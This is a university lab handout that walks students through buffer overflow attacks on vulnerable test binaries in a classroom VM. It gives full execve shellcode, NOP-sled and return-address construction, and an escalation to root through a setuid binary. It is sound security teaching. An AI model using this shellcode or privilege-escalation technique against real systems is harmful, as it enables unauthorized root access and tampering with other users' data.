EC312 Lab 8: Buffer Overflow Attack
Intro: A fun new gameStart up VMWare and power up your virtual machine. ******If your virtual machine was already powered on, restart the virtual machine.******
We’ve just heard through the midshipman rumor mill that there are games on this VM! That sounds like more fun than working on a security exercise, so let’s check it out! We want to play a game based on “Space Invaders1” called
nInvaders. Enter:
nInvaders
Question 1: Were you able to play the game? Why or why not? (Hint use ls –l /usr/local/bin/nInvaders command to examine the permissions of nInvaders)
We are disappointed to learn that NO! We cannot play the game. It belongs to root and we as members of the public do not have execute permissions. But, remember our new friend from Chapter 7 sudo? Sudo allows us to execute one command as root. Try again to run this program using sudo by entering:
sudo nInvaders
Blast! It seems root wants to keep the games to his or her self. (Note that sudo isn’t a magic wand. The root user has to specifically grant permission to run certain commands using sudo, and it appears that root didn’t grant sudo permission for this command.) The only way to play nInvaders is to be root. Oh well… onto the Lab.
Part 1: Lab Setup
We need to do a few things to set up the lab. Your instructor has shared a folder which contains the following additional files you’ll need for the lab:
• vuln_1.c • vuln_2.c • vuln_3.c • lab8_setup.sh
• ScratchPadForCreatingCommandLineArg.txt
Download all five of these files to a place on your computer where you can readily access them (e.g. Desktop). Now go to your virtual machine. Though we’ve typically only used the
“terminal” portion of our Linux machine, for file management we can use something that looks a bit like the Windows interface you’re used to. Somewhere near the top of the screen you should see something that looks like this picture. Click on “Places” and then select “Home Folder”. This will bring up something that looks like a typical file folder interface.
Now on your actual computer, select the first four of the files which you
previously downloaded (i.e. everything except the .txt file) and drag them to the “work” folder on your VMware computer.
Now on your virtual machine, go back to the terminal view (i.e. where you typically type commands) and navigate to your work folder. At the command prompt, type ./lab8_setup.sh
You should now see a new directory called potential_targets. Navigate into this folder by typing cd potential_targets. We are now ready to start the fun…
Part 2: The hunt for vulnerable programs
You should see four executable files in your new potential_targets directory. Each of these files expects a command line argument when you run them, i.e. to run them you type (for example) ./vuln.exe Testing. Your first job is to use
fuzz testing to determine if any of these files are vulnerable to a buffer overflow attack.
Question 2: Which of these files if vulnerable to a buffer overflow attack? (Hint: you should find that three of the four files are vulnerable to attack.)
Congrats! You’ve finished the recon stage of the attack. Now let’s put together the attack plan… Part 3: Learning how to include hex in a command line argument
We now enter the mindset of a hacker. We have learned about the buffer overflow vulnerability, and we are now ready to apply our skills to see what we can do to this victim computer.
You should have found that vuln_3.exe is vulnerable to a buffer overflow attack, so let’s play around with that file. First, let’s just test out the file’s functionality by typing the following command:
./vuln_3.exe “Midn John Paul Jones”
You should see that Welcome Midn John Paul Jones is printed to the screen. So it appears that all that this file does is to take your command line argument and print it out with “Welcome” in front of it. And it must have an array that is vulnerable to overflow.
From class, we know that our hacker’s goal is to use the command line argument to sneak some malicious code onto the target computer. Since malicious code is typically written in hex format, we need to figure out a way to specify hex format in our command line argument.
Let’s experiment. Suppose we wanted to include the two bytes 0x68 and 0x69 in the command line argument. Type the following command: ./vuln_3.exe “\x68\x69”
Question 3: What is printed to the screen?
Hmmmmm… so simply typing the hex bytes into the command line argument isn’t going to work, because they’re
interpreted each as a character off the ASCII table. So it turns out that we’ll have to try something else. A little bit of Google shows that one option is to use something called “command substitution” and “python”, neither of which you need to understand, but the way to construct a command line argument with hex 0x68 0x69 with this approach is by typing the following:
./vuln_3.exe $(python -c "print '\x68\x69'")
Question 4: What is printed to the screen now? Explain why this is printed out. (Note: you don’t need to understand anything $(python -c "print to answer this question.)
Part 4: Launching our first attack
Okay, now that we know how to include hex in a command line argument, we’re ready to launch our first attack. We know that we’ll need the shellcode (i.e. machine language instructions to do something malicious) so we can include that in our command line argument, and we also know that a clever hacker will use a NOP sled and repeated malicious return address to increase their chances of success.
For this attack, our shellcode is designed to open a new shell prompt, i.e. a place to enter commands. The shellcode is 36 bytes long, and looks like this:
\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x6 8\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80\x90
We’re going to try out luck with a 24 byte NOP sled and a malicious return address (i.e. educated guess) of 0xbffff730, repeated 13 times. We could try typing all of that in at the command line with the method we learned in the last section, but that’s going to take us a long time. Fortunately, your instructor has prepared a “scratch pad” for you to work with.
On your actual computer (i.e. not the VM), open the file you downloaded at the beginning called
ScratchPadForCreatingCommandLineArg.txt. This file has all of the necessary components already written out (i.e. the shellcode, NOP sled, and repeated malicious return address.)
Your job is to copy and paste these three components into their correct order into the statement at the very bottom of the text file, replacing the text where you see REPLACE THESE CAPITALIZED WORDS...
Once you have constructed everything, select the whole command line argument (starting with ./vuln_3.exe…) and use Ctrl-C to copy it. Then go back into your virtual machine, and click back in the terminal. On the command line, right-click and select paste to paste in your command line argument. Press return.
If our exploit worked, we would have seen a lot of gibberish followed by a new prompt that looks like this: sh-3.2$.
But………… we’re not seeing that! Hmmm…. our first attack was a failure. Good thing your Naval Academy experience has taught you resilience.
Hacking typically involves a lot of trial and error. We’ll need to adjust some aspect of our attack.
Question 5: List three specific aspects of the attack that the hacker could change to improve their chances of success. (Note that we don’t want to change our shellcode.)
In this case, we’ll try increasing the size of our NOP sled. Add 16 NOP’s (\x90) to the NOP sled portion of the command line argument, and try the attack again. (Note that you can either make this change directly at the command line in your virtual machine, or you can update your text document and copy and paste again.)
Question 6: Did your attack work? (I.e., do you see a new prompt that looks like this: sh-3.2$.) If not, inform your instructor. At this new prompt, type whoami. You should see that you’re still operating as user midshipman, which means that your attack really hasn’t gained you anything since you don’t have any increased privileges on this system. But it gives us an idea… Type exit, and proceed with the next section.
Part 5: A more malicious attack
Now we know that we can launch a buffer overflow attack on a vulnerable file (vuln_3.exe), which will open up a new shell prompt. Now let’s get a bit more greedy. What if we could find an executable file that had the following characteristics:
• The file was vulnerable to a buffer overflow • The file was owned by root
• The file had the setuid flag set
Why would that be such a big deal? Based on the last point, setuid means we get to run the vulnerable .exe file with the owner’s privileges, and since the owner is root, that means we can run the executable with root’s privileges.
Hey, what if we could use our shellcode to trick the computer into opening up a new shell WHILE executing the vulnerable .exe file? Maybe that new prompt would open up with root privileges!!! [Cue maniacal laughter.]
Back in question 2, we already determined that three of our files in the potential_targets directory are vulnerable to a buffer overflow attack. Type ls -l (note that’s a lower case L, not a number one) to see the properties of each of those files so that you can answer the next question.
Question 7: For each of the vulnerable files you listed in question 2, state why or why not the file would be a candidate for this new more malicious attack described above.
You should have found that vuln.exe is the best candidate for our attack. Use the same command line argument that was successful in the attack on vuln_3.exe earlier in this lab, but change the beginning of the command from
./vuln_3.exe to ./vuln.exe. If you’re successful, you should see a new type of shell prompt that looks like this: sh-3.2#.
What can you do with your newly gained root permissions? In Lab 7 when you wanted to switch users the su command required a password. Try to switch users to joe by entering:
su joe
Question 9: Were you successful? Were you prompted to enter a password?
You’re now joe! This is significant. As a basic user we can write and compile new programs. But this process is being exploited by you as an attacker by writing a program that targets vulnerable programs on the host, programs you have the rights to execute! As an attacker you took advantage of the permissions you have to exploit the host without ever needing the sudo command. Now you can be root.
Remember nInvaders from the start of the Security Exercise? Now that we are root, let’s try to play again. Enter: exit
nInvaders
YESSSSSSSSSSSSSS!!!!! See if you can set a high score!
The “so what” factor may not be obvious at first here. A buffer overflow which gives us root access to the host is like a thief picking a lock. Perhaps you will simply switch users and run the programs from Lab 7 getting other mids in trouble by leaving mean comments. Maybe you’ll spend the rest of the class playing games… Don’t forget another user on the host machine is the instructor! With root permissions you would be able to view and edit your instructors files… gradebooks, exams, who knows what else!
When you’re done wreaking havoc as root, type exit to return to your usual midshipman role, and proceed with the lab.
Part 6: Behind the Scenes
Typically the hacker doesn’t get to see the source code (i.e. the C file) for the program they want to attack. But in this case, someone was a bit sloppy and left their source code available for us to inspect.
Navigate up one level to the work directory by typing cd .. Type cat vuln_3.c to inspect the first file we attacked.
Question 10: What line of C code makes vuln_3.c vulnerable to buffer overflow attack?
Now type cat vuln_1.c to inspect the one file that seemed to be immune from a buffer overflow attack.
Question 11: Why is vuln_1.c immune from buffer overflow attack? (Hint: look for the main difference between the two files, and then Google the important function.)
Conclusion
Congratulations, you’ve pulled off a real buffer overflow attack… well done! One last important note is that an experienced hacker wouldn’t be typing in all of these commands at the command line, or even copying and pasting command line arguments from a text file like we did. They would use tools to automate the process of trial and error as they adjust NOP sled length, malicious return address, etc. But our approach was intended to show how these important components of the attack can be pieced together in a way that achieves some impressive results.
